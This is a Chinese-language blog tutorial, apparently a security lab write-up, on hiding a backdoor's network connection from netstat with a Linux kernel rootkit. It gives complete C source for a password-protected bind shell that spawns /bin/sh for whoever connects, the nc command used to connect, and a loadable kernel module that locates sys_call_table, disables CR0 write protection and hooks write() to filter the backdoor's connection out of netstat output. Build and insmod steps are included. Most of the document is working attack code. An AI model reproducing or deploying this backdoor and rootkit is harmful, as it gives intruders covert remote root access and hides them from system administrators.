【系统调用劫持系列】Rootkit劫持netstat隐藏连接端口

Rootkit劫持系统调用系列文章:

  • Rootkit劫持ls隐藏后门程序【待完成】
  • Rootkit劫持ps隐藏恶意进程【待完成】
  • Rootkit劫持netstat隐藏连接端口【部分完成】

一、实验介绍及环境说明


主机 ip 内核版本
虚拟机A(攻击者主机) 192.168.1.104 Linux 4.15.0-106-generic
虚拟机B(被攻击者主机) 192.168.1.102 Linux 4.15.0-106-generic

实验效果:虚拟机A在虚拟机B上安装了后门程序,当虚拟机A连接虚拟机B上面的后门程序时会获得root shell,但此时如果虚拟机B使用netstat也会发现可疑的端口,本实验就是劫持netstat,让该连接端口不被netstat打印出来。

二、劫持netstat之前的效果


2.1 虚拟机B(被攻击者主机:192.168.1.102)

首先在被攻击者主机安装后门程序backdoor.c。其实就是一个socket连接(port:1234),然后把标准输入、标准输出和标准出错流都绑定在输出句柄acptfd上,然后新建一个shell,这样该socket的连接者就会得到一个root shell。

需要注意的是:在真正意义上的后门中,代码中需要有自启部分,让被攻击者的电脑自动执行该后门程序。本实验是手动执行的。

#include 
#include 
#include 
#include 
#include 
#include 

#define BUFF_SIZE 128
#define PORT      1234

int main(int argc, char argv[]) {
    int i, listenfd, acptfd;
    pid_t pid;
    char buf[BUFF_SIZE];
    socklen_t sklen;
    struct sockaddr_in saddr;
    struct sockaddr_in caddr;
    char enterpass[32] = "Password: ";
    char welcome[32] = "Welcome\n";
    char password[5] = "1234";
    char sorry[50] = "Connection failure, error password";

    if ((listenfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        perror("socket creation error");
        exit(1);
    }
    bzero(&saddr, sizeof(saddr));
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = htonl(INADDR_ANY);
    saddr.sin_port = htons(PORT);

    if (bind(listenfd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0
        || listen(listenfd, 20) < 0) {
        exit(1);
    }
    sklen = sizeof(caddr);

    while (1) {
        acptfd = accept(listenfd, (struct sockaddr *)&caddr, &sklen);
        if ((pid = fork()) > 0) {
            exit(0);
        } else if (!pid) {
            close(listenfd);
            write(acptfd, enterpass, strlen(enterpass));
            memset(buf, '\0', BUFF_SIZE);
            read(acptfd, buf, BUFF_SIZE);
            if (strncmp(buf, password, strlen(password)) != 0) {
                write(acptfd, sorry, strlen(sorry));
                close(acptfd);
                exit(0);
            } else {
                write(acptfd, welcome, strlen(welcome));
                dup2(acptfd, 0);
                dup2(acptfd, 1);
                dup2(acptfd, 2);
                execl("/bin/sh", "backdoor", NULL);
            }
        }
    }
    close(acptfd);
    return 0;
}

2.2 虚拟机A(攻击者主机:192.168.1.104)

使用nc来连接虚拟机B,输入密码后便可得到一个root shell。

nc 192.168.1.102 1234
攻击者获得root shell

2.3 存在的问题

但此时如果虚拟机B使用netstat,就会发现有一个可疑的端口,进而察觉被攻击了。

netstat -antp
虚拟机B使用netstat

三、劫持netstat之后的效果


3.1、netstat原理

使用strace netstat -antp来查看netstat到底是怎么工作的,打印信息较多,只列出关键部分如下:

execve("/bin/netstat", ["netstat", "-antp"], [/* 62 vars */]) = 0

......[省略n行]

open("/proc", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
getdents(3, /* 313 entries */, 32768)   = 7880
open("/proc/1/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/2/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/4/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/6/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/7/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)

......[省略n行]

open("/proc/net/tcp", O_RDONLY)         = 3
read(3, "  sl  local_address rem_address "..., 4096) = 1650
write(1, "tcp        0      0 0.0.0.0:111 "..., 97tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 0.0.0.0:3902"..., 97tcp        0      0 0.0.0.0:39025           0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 127.0.1.1:53"..., 97tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 0.0.0.0:4334"..., 97tcp        0      0 0.0.0.0:43349           0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 0.0.0.0:22  "..., 97tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 0.0.0.0:3659"..., 97tcp        0      0 0.0.0.0:36599           0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 127.0.0.1:63"..., 97tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 0.0.0.0:2049"..., 97tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 0.0.0.0:5610"..., 97tcp        0      0 0.0.0.0:56103           0.0.0.0:*               LISTEN      -               
) = 97
write(1, "tcp        0      0 192.168.1.10"..., 97tcp        0      0 192.168.1.102:1234      192.168.1.104:51716     ESTABLISHED 4086/backdoor   
) = 97
read(3, "", 4096)                       = 0
close(3)                                = 0
open("/proc/net/tcp6", O_RDONLY)        = 3
read(3, "  sl  local_address             "..., 4096) = 1561
write(1, "tcp6       0      0 :::54603    "..., 97tcp6       0      0 :::54603                :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 :::111      "..., 97tcp6       0      0 :::111                  :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 :::44979    "..., 97tcp6       0      0 :::44979                :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 :::22       "..., 97tcp6       0      0 :::22                   :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 ::1:631     "..., 97tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 :::37177    "..., 97tcp6       0      0 :::37177                :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 :::2049     "..., 97tcp6       0      0 :::2049                 :::*                    LISTEN      -               
) = 97
write(1, "tcp6       0      0 :::45573    "..., 97tcp6       0      0 :::45573                :::*                    LISTEN      -               
) = 97
read(3, "", 4096)                       = 0
close(3)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++

可以发现netstat把/proc下的很多数据都读取出来了。于是大致可以知道netstat是把/proc/pid/fd下面的数和/proc/net/tcp/proc/net/udp等下面的数据汇总,对照得到统计结果的。

3.2、一个较为鸡肋的方式隐藏

3.2.1、隐藏原理

可以看到,打开/proc/net/tcp/proc/net/udp之后调用了write系统调用,把连接信息打印出来。所以我们可以截胡write系统调用输出的信息。

3.2.2、代码解析

下面为隐藏代码,注意:sys_call_table本身是有写保护的,所以,直接去修改会报错。首先要对它取消写保护。可以通过设置cr0寄存器的WP位为0,禁止CPU上的写保护。当然,写完之后,还是要将恢复写保护,防止sys_call_table被其他进程意外篡改。

/*
 * @Author: fxding
 * @Date: 2020-07-10 21:16:03
 * @LastEditTime: 2020-07-10 23:04:47
 * @LastEditors: fxding
 * @Description: 
 * @FilePath: /my_netstat/netstat.c
 */ 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

static unsigned long **sys_call_table;

/* 原始write系统调用参数列表 
 * -fd是一个文件描述符,指代要写入的文件
 * -buf参数为要写入文件中数据的内存地址 
 * -nbytes参数是想从buffer写入文件的数据字节数
 */
size_t (*orig_write)(unsigned int fd,
                   const void *buf,
                   size_t nbytes);


/* 取消写保护 */ 
void disable_write_protection(void) {
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0(cr0);
}

/* 恢复写保护 */ 
void enable_write_protection(void) {
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}


/**
 * write系统调用劫持函数
 */
asmlinkage size_t my_write(unsigned int fd,
                            const void *buf,
                            size_t nbytes){
    void *tmp = (void *)kmalloc(nbytes, GFP_KERNEL);    
    /* 在用户空间向内核空间传递数据 
     * copy_from_user(void *to, const void __user *from, unsigned long n)
     * -to是内核空间的指针,
     * -from是用户空间指针 
     * -n表示从用户空间想内核空间拷贝数据的字节数
     */                      
    copy_from_user(tmp, "empty", nbytes);
    /* 过滤指定连接 */ 
    if(strstr((char *)tmp, "192.168.1.102:1234")!= NULL){
        // return -1;
        return (*orig_write)(fd, "empty", 0);
    }
    else{
        size_t orig = (*orig_write)(fd, buf, nbytes);
        return orig;
    }

    
}

/**
 * 获取 sys_call_table 的首地址
 */
unsigned long ** find_sct(void) {

    unsigned long **entry = (unsigned long **)PAGE_OFFSET;

    //8个字节8个字节的遍历
    for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
        if (entry[__NR_close] == (unsigned long *)sys_close) {
            return entry;  //entry就是sys_call_table的地址
        }
    }
    return NULL;

}


static int filter_init(void) {
    printk("fitler_init\n");
    
    /* 获取 sys_call_table 的首地址 */
    sys_call_table = find_sct();
    printk("system call table is 0x%p\n", (unsigned long *)sys_call_table);

    if (!sys_call_table) {
        printk("sys_call_table = NULL\n");
        return 0;
    }
    else{
        /* 根据sys_call_table获得write系统调用 */ 
        orig_write = (void *)sys_call_table[__NR_write];
        printk("original system call write, the address is 0x%p\n", (unsigned long *)orig_write);

        disable_write_protection();
        /* 把write系统调用替换为自己的 */
        sys_call_table[__NR_write] = (unsigned long *)&my_write;
        enable_write_protection();
        return 0;
    }
}

static void filter_exit(void) {
    disable_write_protection();
    /* 模块移除时再换回来 */ 
    sys_call_table[__NR_write] = (unsigned long *)orig_write;
    enable_write_protection();
    printk("fitler_exit\n");
}

/* kernel model 注册 */ 
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
/*
 * @Author: fxding
 * @Date: 2020-07-10 21:16:03
 * @LastEditTime: 2020-07-10 23:04:47
 * @LastEditors: fxding
 * @Description: 
 * @FilePath: /my_netstat/Makefile
 */ 

obj-m += netstat.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

注意:上面代码中netstat.c的第61行,为什么要在buf的位置随便填一个字符串呢?:

return (*orig_write)(fd, "empty", 0);

读write(2) — Linux manual page可知,buf是一个内存地址,write把buf中的nbytes大小的数据写入fd引用的文件中。其返回值为-1(写入时产生错误)或写入的字节数。所以此处可以直接写成return -1;,写成上述形式是为了好理解。

3.2.3、效果展示

执行以下命令,编译模块,并插入到内核中:

make
sudo insmod netstat.ko
netstat -antp

被攻击者执行后门程序,攻击者连接获得root shell,被攻击者再使用netstat查看时结果如下:


连接已隐藏
3.2.4、存在的不足之处

之所以称这个方法有点“鸡肋”是因为他没有从根本上解决问题。查看/proc/net/tcp文件发现,其中还是有这条连接存在的,0x04D2即1234端口,这个文件的有关字段的解释见这篇文章。

执行cat /proc/net/tcp

进制转换

即,修改write系统调用只是让/proc/net/tcp的内容没有完全打印,但如果被攻击者查看/proc/net/tcp文件,还是能够发现。这是一种治标但不治本的方法。

3.3、治标又治本的方法

治本的方法就是直接抹去/proc/net/tcp的内容,不让此连接信息出现在/proc/net/tcp中。所以现在只需要找到/proc/net/tcp的生成方式,就可以对此做文章。

/proc/net/tcp的初始化函数为tcp4_proc_init_net(),具体函数之间的关系如下:

static int __net_init tcp4_proc_init_net(struct net *net)
{
    return tcp_proc_register(net, &tcp4_seq_afinfo);
}

static struct tcp_seq_afinfo tcp4_seq_afinfo = {
    .name       = "tcp",
    .family     = AF_INET,
    .seq_fops   = &tcp_afinfo_seq_fops,
    .seq_ops    = {
        .show       = tcp4_seq_show,
    },
};

可以看到name="tcp",即创建的文件名字是tcp时.seq_ops.show=tcp4_seq_show()

即我们可以通过替换内核函数tcp4_seq_show()来进行连接隐藏,由于时间仓促,此部分没有来得及做。先mark一下,考试完再做。

参考文章:

  • netstat统计的tcp连接数与⁄proc⁄pid⁄fd下socket类型fd数量不一致分析
  • 信息安全课程14:rootkit(2)
  • Linux文件/proc/net/tcp分析
  • Linux内核如何替换内核函数并调用原始函数

你可能感兴趣的:(【系统调用劫持系列】Rootkit劫持netstat隐藏连接端口)